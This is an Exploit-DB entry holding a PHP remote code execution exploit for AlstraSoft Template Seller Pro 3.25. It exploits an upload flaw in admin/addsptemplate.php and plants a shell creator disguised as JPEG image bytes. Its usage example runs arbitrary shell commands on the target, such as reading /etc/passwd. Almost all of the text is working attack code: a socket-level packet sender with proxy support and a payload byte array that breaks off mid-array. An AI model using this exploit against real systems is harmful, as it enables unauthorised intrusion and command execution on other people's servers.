Exploit-DB #3959
Description: Alstrasoft Template Seller Pro 3.25 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-05-20
Author: BlackHawk

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
AlstraSoft Template Seller Pro <= 3.25 Remote Code Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<4) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host:          target server (ip/hostname)
Path:          path of template
CMD:           A Shell Command

Example:
php ".$argv[0]." localhost /template/ cat /etc/passwd";

die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

/*
 ___________________________________________________________________
/       This script is part of the AlstraSoft Exploit Pack:         \
|                                                                   |
|  http://itablackhawk.altervista.org/exploit/alsoft_exploit_pack;  |
|                                                                   |
|            You can find the patches for this bugs at:             |
|                                                                   |
|   http://itablackhawk.altervista.org/download/alsoft_patch.zip    |
|                                                                   |
\________________________.:BlackHawk 2007:._________________________/

*/

/*
VULN EXPLANATION

Same problem of Vuln N.1 but with this we can upload PHP files..

The Vulnerable script can be found in admin/addsptemplate.php


*/

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];

$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$port=80;
$proxy="";

$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "- Uploading Shell Creator..\r\n";
$italy_rulez=
chr(0xff).chr(0xd8).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).
chr(0x00).chr(0x60).chr(0x00).chr(0x60).chr(0x00).chr(0x00).chr(0xff).
chr(0xe1).chr(0x00).chr(0x36).chr(0x45).chr(0x78).chr(0x69).chr(0x66).
chr(0x00).chr(0x00).chr(0x49).chr(0x49).chr(0x2a).chr(0x00).chr(0x08).
chr(0x00).chr(0x00).chr(0x00).chr(0x02).chr(0x00).chr(0x01).chr(0x03).
chr(0x05).chr(0x00).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x26).
chr(0x00).chr(0x00).chr(0x00).chr(0x03).chr(0x03).chr(0x01).chr(0x00).
chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x14).chr(0xc6).
chr(0xff).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xa0).chr(0x86).
chr(0x01).chr(0x00).chr(0x8f).chr(0xb1).chr(0x00).chr(0x00).chr(0xff).
chr(0xdb).chr(0x00).chr(0x43).chr(0x00).chr(0x08).chr(0x06).chr(0x06).
chr(0x07).chr(0x06).chr(0x05).chr(0x08).chr(0x07).chr(0x07).chr(0x07).
chr(0x09).chr(0x09).chr(0x08).chr(0x0a).chr(0x0c).chr(0x14).chr(0x0d).
chr(0x0c).chr(0x0b).chr(0x0b).chr(0x0c).chr(0x19).chr(0x12).chr(0x13).
chr(0x0f).chr(0x14).chr(0x1d).chr(0x1a).chr(0x1f).chr(0x1e).chr(0x1d).
chr(0x1a).chr(0x1c).chr(0x1c).chr(0x20).chr(0x24).chr(0x2e).chr(0x27).
chr(0x20).chr(0x22).chr(0x2c).chr(0x23).chr(0x1c).chr(0x1c).chr(0x28).
chr(0x37).chr(0x29).chr(0x2c).chr(0x30).chr(0x31).chr(0x34).chr(0x34).
chr(0x34).chr(0x1f).chr(0x27).chr(0x39).chr(0x3d).chr(0x38).chr(0x32).
chr(0x3c).chr(0x2e).chr(0x33).chr(0x34).chr(0x32).chr(0xff).chr(0xdb).
chr(0x00).chr(0x43).chr(0x01).chr(0x09).chr(0x09).chr(0x09).chr(0x0c).
chr(0x0b).chr(0x0c).chr(0x18).chr(0x0d).chr(0x0d).chr(0x18).chr(0x32).
chr(0x21).chr(0x1c).chr(0x21).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0x32).
chr(0x32).chr(0x32).chr(0x32).chr(0x32).chr(0xff).chr(0xc0).chr(0x00).
chr(0x11).chr(0x08).chr(0x00).chr(0x14).chr(0x00).chr(0x1e).chr(0x03).
chr(0x01).chr(0x22).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x1f).chr(0x00).
chr(0x00).chr(0x01).chr(0x05).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x02).chr(0x03).chr(0x04).
chr(0x05).chr(0x06).chr(0x07).chr(0x08).chr(0